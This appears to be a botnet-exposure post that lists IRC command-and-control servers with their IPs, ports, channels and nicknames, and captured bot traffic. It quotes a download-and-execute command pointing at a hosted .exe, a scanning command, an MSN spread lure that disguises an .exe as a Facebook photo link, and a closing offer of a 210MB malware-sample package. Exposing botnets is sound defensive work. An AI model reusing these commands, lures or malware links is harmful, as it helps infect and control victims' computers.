vncs.knaqu.eu(irc botnet hosted in India Navi Mumbai Rcom-static-dia)

vncs.knaqu.eu 115.249.138.155 C&C Server: 115.249.138.155:4244 Server Password: Username: wdnavppsm Nickname: [nLh-VNC]tkdkoa Channel: #v# (Password: ) Channeltopic: :!scan 94 1 98.x.x.x 3 1 98.x.x.x 3 1 Opened listening TCP connection on port: 16202 hosting infos: http://whois.domaintools.com/115.249.138.155

picture.hexsh.info(blaze bot hosted in Bulgaria Net1 Ltd Burimi and Dee in same channel)

Same owner from this post http://www.exposedbotnets.com/2012/03/swl33t-milfinfo-100k-reptile-bots.html Resolved : [picture.hexsh.info] To [46.249.71.18] Resolved : [picture.hexsh.info] To [192.117.148.103] Resolved : [picture.hexsh.info] To [212.170.205.179] Resolved : [picture.hexsh.info] To [189.35.205.123] Resolved : [picture.hexsh.info] To [208.125.158.219] Resolved : [picture.hexsh.info] To [59.180.210.189] Resolved : [picture.hexsh.info] To [46.214.145.230] Resolved : [picture.hexsh.info] To [211.72.230.83] Resolved : [picture.hexsh.info] To [91.121.232.87] Resolved : [picture.hexsh.info] To

support.leetpm.info(ngrBot from Burimi big hecker hosted in France Paris Ovh Systems)

Resolved : [support.leetpm.info] To [208.125.158.219] Resolved : [support.leetpm.info] To [91.121.232.87] Resolved : [support.leetpm.info] To [46.249.71.18] Resolved : [support.leetpm.info] To [189.35.205.123] Resolved : [support.leetpm.info] To [59.180.210.189] Download URLs http://107.20.230.29/u/69321915/Bl.exe (dl.dropbox.com) C&C Server: 91.121.232.87:6667 Server Password: Username: 3952 Nickname: {NEW}[DEU][XP]366531 Channel: #snowz# (Password: ) Channeltopic: :.dl http://dl.dropbox.com/u/69321915/Bl.exe Topic By: [ a ] Now talking in #sw# Topic

gn.albacrew.com(ngrBot hosted in United States San Antonio Slicehost)

Resolved : [gn.albacrew.com] To [108.166.82.173] Remote Host Port Number 108.166.82.173 9731 PASS ngrBot NICK n{US|XPa}ofiahmg USER ofiahmg 0 0 :ofiahmg JOIN #ng# ngrBot PRIVMSG #ng# :[MSN]: Updated MSN spread interval to “4” PRIVMSG #ng# :[MSN]: Updated MSN spread message to “look my Photos Like IT 🙂 http://facebook33media.com/IMG1234563315533.JPG.www.FaceBook.com.exe” Topic By: [ a ] (a) Kaspersky Anti-Virus

bbb.gigasphere.su(irc botnet hosted in Germany Berlin 1&1 Internet Ag)

Resolved : [bbb.gigasphere.su] To 13[140.122.83.196] Resolved : [bbb.gigasphere.su] To 13[59.44.116.205] Resolved : [bbb.gigasphere.su] To 13[59.106.14.111] Resolved : [bbb.gigasphere.su] To 13[49.212.53.154] Remote Host Port Number 217.160.224.132 4042 NICK new[USA|XP|COMPUTERNAME]eejxdfy USER xd “” “lol” :xd JOIN #lowbiz# JOIN #bizbiz# PONG 422 PONG :irc.priv5net8.com Now talking in #lowbiz# Topic On: [ #lowbiz# ] [ !down /99/106/112/81/55/59/40/99/107/35/106/110/47/122/118/96/115/106/115/122/98/72/104/73/78/71/126/118/104/98/116/ 12] Topic

www.maintpro-consultancy.com(pBot hosted in Philippines Maintpro Consultancy)

powered by LND – by BDM */ /* shouts: */ /* Yes we hate exposedbotnets.com */ /* have a nice day @ pig hate me lamers is not a prob lol Server www.maintpro-consultancy.com Port 9595 Channel #vics <? /****************************************************/ /* powered by LND – by BDM */ /* shouts: we fuck the world */ /****************************************************/

210mb malware samples

This package is full of irc bots,banking trojans,worms,rootkits have fun exploring them Download Download Download